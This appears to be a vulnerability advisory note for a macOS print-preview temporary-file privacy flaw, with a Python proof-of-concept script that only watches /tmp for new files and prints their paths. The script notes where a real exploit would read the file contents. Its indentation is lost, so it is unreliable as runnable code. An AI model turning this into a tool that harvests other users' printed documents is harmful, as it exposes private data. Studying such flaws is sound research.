A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Tahoe 26.4. A document may be written to a temporary file when using print preview.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-28893: Monitoring temp files during print preview
import os
import time
TEMP_DIRS = ['/tmp', '/var/folders']
def monitor_temp_files():
print("[*] Monitoring temporary directories for print preview artifacts...")
existing_files = set()
for root, dirs, files in os.walk('/tmp'): # Simplified for demo
for file in files:
existing_files.add(os.path.join(root, file))
try:
while True:
for root, dirs, files in os.walk('/tmp'):
for file in files:
file_path = os.path.join(root, file)
if file_path not in existing_files:
print(f"[+] New file detected: {file_path}")
# In a real exploit, read content here
existing_files.add(file_path)
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Stopping monitor.")
if __name__ == "__main__":
monitor_temp_files()